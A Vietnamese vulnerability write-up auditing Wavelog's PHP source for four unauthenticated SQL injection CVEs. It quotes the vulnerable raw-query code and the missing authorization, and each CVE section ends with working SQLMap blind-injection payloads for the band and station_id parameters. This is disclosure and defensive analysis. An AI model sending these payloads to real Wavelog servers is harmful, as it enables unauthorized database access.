Unauthenticated SQL Injection in Wavelog - Opensource project
CVE-2024-48249, CVE-2024-48251, CVE-2024-48257, CVE-2024-48261
Lời nói đầu
Mình xin tự giới thiệu mình là Trung aka chigger . Mình là thành viên trong gia đình CookieHanHoan.
Mình sẽ tiếp tục với hành trình spam nhiều CVE nhất có thể.
Thông tin lỗ hổng
Bài viết này sẽ sử dụng phương pháp phân tích Whitebox, còn được gọi là Source Code Audit để phân tích source code và tìm ra lỗ hổng.
CVE-2024-48249:
Điểm số: 7.3
Mức độ nguy hiểm: HIGH
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVE-2024-48251:
Điểm số: 7.3
Mức độ nguy hiểm: HIGH
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVE-2024-48257:
Điểm số: 7.3
Mức độ nguy hiểm: HIGH
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVE-2024-48261:
Điểm số: 7.3
Mức độ nguy hiểm: HIGH
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Mục tiêu
Wavelog là một ứng dụng PHP tự lưu trữ cho phép bạn ghi lại các liên hệ vô tuyến nghiệp dư của mình ở bất cứ đâu.
Mã nguồn: Wavelog
Nền tảng này được thiết kế bằng ngôn ngữ PHP và 1 số công nghệ nổi bật:
Codeigniter 3: Framework PHP cho phát triển ứng dụng web.
Bootstrap 5: Bộ công cụ giao diện người dùng CSS để thiết kế website.
HTMX: Được sử dụng để thực hiện các yêu cầu AJAX.
jQuery: Thư viện JavaScript để hỗ trợ các chức năng giao diện người dùng.
Font Awesome: Bộ biểu tượng được sử dụng để thêm các icon vào giao diện.
Nguyên nhân gốc rễ (root-cause) gây ra lỗ hổng?
Lỗ hổng Injection, đặc biệt là SQL Injection, thường xuất phát từ việc ứng dụng không kiểm soát chặt chẽ dữ liệu đầu vào của người dùng, hay còn gọi là dữ liệu không đáng tin cậy (Untrusted Data). Trong nền tảng Wavelog, nhiều câu truy vấn SQL được viết thủ công dưới dạng raw query.
Ngoài ra, chức năng tồn tại lỗ hổng này không thực hiện xác thực người dùng, dẫn đến lỗ hổng được gọi là Unauthenticated SQL Injection, với điểm CVSS ở mức cao và cực kỳ nguy hiểm.
CVE-2024-48249
Ở vị trí file application/models/Gridmap_model.php
, mình nhận thấy trong function get_band_confirmed()
đang xử lý các câu truy vấn bằng cách nối chuỗi trực tiếp (raw query). Cách làm này tiềm ẩn nguy cơ gây ra lỗ hổng SQL Injection.
Nếu các biến như: $band
, $sat
, $propagation
, $mode
nhận giá trị từ người dùng, thì có thể dẫn đến lỗ hổng SQL Injection.
class Gridmap_model extends CI_Model {
function get_band_confirmed($band, $mode, $qsl, $lotw, $eqsl, $qrz, $sat, $orbit, $propagation, $logbooks_locations_array = NULL) {
.....
$location_list = "'".implode("','",$logbooks_locations_array)."'";
$sql = 'SELECT distinct substring(COL_GRIDSQUARE,1,6) as GRID_SQUARES, COL_BAND FROM '
.$this->config->item('table_name')
.' LEFT JOIN `satellite` on '.$this->config->item('table_name').'.COL_SAT_NAME = satellite.name'
.' WHERE station_id in ('
.$location_list.') AND COL_GRIDSQUARE != ""';
if ($band != 'All') {
if ($band == 'SAT') {
$sql .= " and col_prop_mode ='" . $band . "'";
if ($sat != 'All' && $sat != '') {
$sql .= " and col_sat_name ='" . $sat . "'";
}
} else {
if ($propagation == 'None') {
$sql .= " and (trim(col_prop_mode) ='' or col_prop_mode is null)";
} elseif ($propagation == 'NoSAT') {
$sql .= " and col_prop_mode !='SAT'";
} elseif ($propagation != '') {
$sql .= " and col_prop_mode ='" . $propagation . "'";
}
$sql .= " and col_band ='" . $band . "'";
}
} else {
if ($propagation == 'None') {
$sql .= " and (trim(col_prop_mode) ='' or col_prop_mode is null)";
} elseif ($propagation == 'NoSAT') {
$sql .= " and col_prop_mode !='SAT'";
} elseif ($propagation != '') {
$sql .= " and col_prop_mode ='" . $propagation . "'";
}
}
if ($mode != 'All') {
$sql .= " and (col_mode ='" . $mode . "' or col_submode ='" . $mode . "')";
}
$sql .= $this->addOrbitToQuery($orbit);
$sql .= $this->addQslToQuery($qsl, $lotw, $eqsl, $qrz);
return $this->db->query($sql);
}
.....
}
Trong quá trình tìm kiếm, mình phát hiện rằng function này được gọi tại file application/controllers/Gridmap.php
trong function getGridsjs()
. Mặc dù các tham số đã được validate, nhưng việc validate này chỉ nhắm đến lỗ hổng XSS (Cross-Site Scripting) mà không kiểm tra các ký tự đặc biệt có thể gây lỗi cú pháp trong quá trình thực hiện truy vấn, dẫn đến nguy cơ tồn tại lỗ hổng SQL Injection.
class Gridmap extends CI_Controller {
function __construct() {
parent::__construct();
}
...
public function getGridsjs() {
$band = $this->security->xss_clean($this->input->post('band'));
$mode = $this->security->xss_clean($this->input->post('mode'));
$qsl = $this->security->xss_clean($this->input->post('qsl'));
$lotw = $this->security->xss_clean($this->input->post('lotw'));
$eqsl = $this->security->xss_clean($this->input->post('eqsl'));
$qrz = $this->security->xss_clean($this->input->post('qrz'));
$sat = $this->security->xss_clean($this->input->post('sat'));
$orbit = $this->security->xss_clean($this->input->post('orbit'));
$propagation = $this->security->xss_clean($this->input->post('propagation'));
$propagation = $this->db->escape($propagation);
$this->load->model('gridmap_model');
$array_grid_2char = array();
$array_grid_4char = array();
$array_grid_6char = array();
$array_grid_2char_confirmed = array();
$array_grid_4char_confirmed = array();
$array_grid_6char_confirmed = array();
$grid_2char = "";
$grid_4char = "";
$grid_6char = "";
$grid_2char_confirmed = "";
$grid_4char_confirmed = "";
$grid_6char_confirmed = "";
$query = $this->gridmap_model->get_band_confirmed($band, $mode, $qsl, $lotw, $eqsl, $qrz, $sat, $orbit, $propagation);
...
}
Hơn nữa, do file này không thực hiện xác thực phiên người dùng, nên dẫn đến nguy cơ tồn tại lỗ hổng Unauthenticated SQL Injection.
Cách khai thác
Mình thử với kí tự đặc biệt '. Quan sát thấy server trả về status code 500
của câu truy vấn. Vậy ở đây ở tham số band
, sat
, propagation
, mode
tồn tại lỗ hổng SQL Injection.
Mình sử dụng công cụ như SQLMap (công cụ tự động hóa quá trình khai thác lỗ hổng SQL Injection). SQLMap có thể tạo ra mã khai thác tùy chỉnh dựa trên phân tích tự động của ứng dụng mục tiêu và cơ sở dữ liệu liên quan.
Mã khai thác:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: band=All' AND (SELECT 1241 FROM (SELECT(SLEEP(5)))zVSE) AND 'EgJT'='EgJT&mode=All&qsl=true&lotw=true&eqsl=false&qrz=false&orbit=All&sat=&propagation=111
CVE-2024-48257
Ở vị trí file application/models/Oqrs_model.php
, mình nhận thấy trong function get_worked_modes()
đang xử lý các câu truy vấn bằng cách nối chuỗi trực tiếp (raw query). Cách làm này tiềm ẩn nguy cơ gây ra lỗ hổng SQL Injection.
Nếu biến $station_id
nhận giá trị từ người dùng, thì có thể dẫn đến lỗ hổng SQL Injection.
class Oqrs_model extends CI_Model {
....
function get_worked_modes($station_id)
{
// get all worked modes from database
$data = $this->db->query(
"SELECT distinct LOWER(`COL_MODE`) as `COL_MODE` FROM `" . $this->config->item('table_name') . "` WHERE station_id in (" . $station_id . ") order by COL_MODE ASC"
);
$results = array();
foreach ($data->result() as $row) {
array_push($results, $row->COL_MODE);
}
$data = $this->db->query(
"SELECT distinct LOWER(`COL_SUBMODE`) as `COL_SUBMODE` FROM `" . $this->config->item('table_name') . "` WHERE station_id in (" . $station_id . ") and coalesce(COL_SUBMODE, '') <> '' order by COL_SUBMODE ASC"
);
foreach ($data->result() as $row) {
if (!in_array($row, $results)) {
array_push($results, $row->COL_SUBMODE);
}
}
return $results;
}
....
}
Phân tích code, mình nhận thấy rằng function này được call từ function get_qsos()
vẫn ở trong cùng 1 file model này. Sau khi phân tích,mình nhận thấy rằng function get_qsos()
được call từ application/controllers/Oqrs.php.
class Oqrs extends CI_Controller {
function __construct() {
parent::__construct();
// Commented out to get public access
// $this->load->model('user_model');
// if(!$this->user_model->authorize(2)) { $this->session->set_flashdata('error', __("You're not allowed to do that!")); redirect('dashboard'); }
if (($this->config->item('disable_oqrs') ?? false)) { $this->session->set_flashdata('error', __("You're not allowed to do that!")); redirect('dashboard'); }
}
.....
public function get_qsos() {
$this->load->model('bands');
$data['bands'] = $this->bands->get_worked_bands_oqrs($this->input->post('station_id', TRUE));
$this->load->model('oqrs_model');
$result = $this->oqrs_model->get_qsos($this->input->post('station_id', TRUE), $this->input->post('callsign', TRUE), $data['bands']);
$data['callsign'] = $this->input->post('callsign', TRUE);
$data['result'] = $result['qsoarray'];
$data['qsocount'] = $result['qsocount'];
$this->load->view('oqrs/result', $data);
}
...
}
hân tích đoạn code trên cho thấy tham số station_id
được truyền từ người dùng mà không qua quá trình kiểm tra (validate), dẫn đến lỗ hổng SQL Injection trong function này. Hơn nữa, trong function __construct()
, nhà phát triển đã comment bỏ phần xác thực và ủy quyền, làm cho lỗ hổng này trở nên nghiêm trọng hơn, dẫn đến Unauthenticated SQL Injection.
Cách khai thác
Mình thử với kí tự đặc biệt '. Quan sát thấy server trả về status code 500
của câu truy vấn. Vậy ở đây ở tham số Station_id
tồn tại lỗ hổng SQL Injection.
Mình sử dụng công cụ như SQLMap (công cụ tự động hóa quá trình khai thác lỗ hổng SQL Injection). SQLMap có thể tạo ra mã khai thác tùy chỉnh dựa trên phân tích tự động của ứng dụng mục tiêu và cơ sở dữ liệu liên quan.
Mã khai thác:
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: station_id=(SELECT (CASE WHEN (8465=8465) THEN 1 ELSE (SELECT 2332 UNION SELECT 7223) END))&callsign=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: station_id=1 AND (SELECT 1050 FROM (SELECT(SLEEP(5)))bEen)&callsign=1
CVE-2024-48251, CVE-2024-48261
Ở vị trí file application/models/Activated_gridmap_model.php
, mình nhận thấy trong function get_band_confirmed()
đang xử lý các câu truy vấn bằng cách nối chuỗi trực tiếp (raw query). Cách làm này tiềm ẩn nguy cơ gây ra lỗ hổng SQL Injection.
Nếu các biến như: $band
, $sat
, $propagation
, $mode
nhận giá trị từ người dùng, thì có thể dẫn đến lỗ hổng SQL Injection.
class Activated_gridmap_model extends CI_Model {
function get_band_confirmed($band, $mode, $qsl, $lotw, $eqsl, $qrz, $sat, $orbit, $propagation, $logbooks_locations_array = NULL) {
.....
$location_list = "'".implode("','",$logbooks_locations_array)."'";
$sql = 'SELECT distinct substring(COL_GRIDSQUARE,1,6) as GRID_SQUARES, COL_BAND FROM '
.$this->config->item('table_name')
.' LEFT JOIN `satellite` on '.$this->config->item('table_name').'.COL_SAT_NAME = satellite.name'
.' WHERE station_id in ('
.$location_list.') AND COL_GRIDSQUARE != ""';
if ($band != 'All') {
if ($band == 'SAT') {
$sql .= " and col_prop_mode ='" . $band . "'";
if ($sat != 'All' && $sat != '') {
$sql .= " and col_sat_name ='" . $sat . "'";
}
} else {
if ($propagation == 'None') {
$sql .= " and (trim(col_prop_mode) ='' or col_prop_mode is null)";
} elseif ($propagation == 'NoSAT') {
$sql .= " and col_prop_mode !='SAT'";
} elseif ($propagation != '') {
$sql .= " and col_prop_mode ='" . $propagation . "'";
}
$sql .= " and col_band ='" . $band . "'";
}
} else {
if ($propagation == 'None') {
$sql .= " and (trim(col_prop_mode) ='' or col_prop_mode is null)";
} elseif ($propagation == 'NoSAT') {
$sql .= " and col_prop_mode !='SAT'";
} elseif ($propagation != '') {
$sql .= " and col_prop_mode ='" . $propagation . "'";
}
}
if ($mode != 'All') {
$sql .= " and (col_mode ='" . $mode . "' or col_submode ='" . $mode . "')";
}
$sql .= $this->addOrbitToQuery($orbit);
$sql .= $this->addQslToQuery($qsl, $lotw, $eqsl, $qrz);
return $this->db->query($sql);
}
.....
}
Trong quá trình tìm kiếm, mình phát hiện rằng function này được gọi tại file application/controllers/Gridmap.php
trong function getGridsjs()
. Mặc dù các tham số đã được validate, nhưng việc validate này chỉ nhắm đến lỗ hổng XSS (Cross-Site Scripting) mà không kiểm tra các ký tự đặc biệt có thể gây lỗi cú pháp trong quá trình thực hiện truy vấn, dẫn đến nguy cơ tồn tại lỗ hổng SQL Injection.
class Activated_gridmap extends CI_Controller {
function __construct() {
parent::__construct();
}
...
public function getGridsjs() {
$band = $this->security->xss_clean($this->input->post('band'));
$mode = $this->security->xss_clean($this->input->post('mode'));
$qsl = $this->security->xss_clean($this->input->post('qsl'));
$lotw = $this->security->xss_clean($this->input->post('lotw'));
$eqsl = $this->security->xss_clean($this->input->post('eqsl'));
$qrz = $this->security->xss_clean($this->input->post('qrz'));
$sat = $this->security->xss_clean($this->input->post('sat'));
$orbit = $this->security->xss_clean($this->input->post('orbit'));
$propagation = $this->security->xss_clean($this->input->post('propagation'));
$propagation = $this->db->escape($propagation);
$this->load->model('gridmap_model');
$array_grid_2char = array();
$array_grid_4char = array();
$array_grid_6char = array();
$array_grid_2char_confirmed = array();
$array_grid_4char_confirmed = array();
$array_grid_6char_confirmed = array();
$grid_2char = "";
$grid_4char = "";
$grid_6char = "";
$grid_2char_confirmed = "";
$grid_4char_confirmed = "";
$grid_6char_confirmed = "";
$query = $this->gridmap_model->get_band_confirmed($band, $mode, $qsl, $lotw, $eqsl, $qrz, $sat, $orbit, $propagation);
...
}
Hơn nữa, do file này không thực hiện xác thực phiên người dùng, nên dẫn đến nguy cơ tồn tại lỗ hổng Unauthenticated SQL Injection.
Cách khai thác
Mình thử với kí tự đặc biệt '. Quan sát thấy server trả về status code 500
của câu truy vấn. Vậy ở đây ở tham số band
, sat
, propagation
, mode
tồn tại lỗ hổng SQL Injection.
Mình sử dụng công cụ như SQLMap (công cụ tự động hóa quá trình khai thác lỗ hổng SQL Injection). SQLMap có thể tạo ra mã khai thác tùy chỉnh dựa trên phân tích tự động của ứng dụng mục tiêu và cơ sở dữ liệu liên quan.
Mã khai thác:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: band=All' AND (SELECT 1241 FROM (SELECT(SLEEP(5)))zVSE) AND 'EgJT'='EgJT&mode=All&qsl=true&lotw=true&eqsl=false&qrz=false&orbit=All&sat=&propagation=111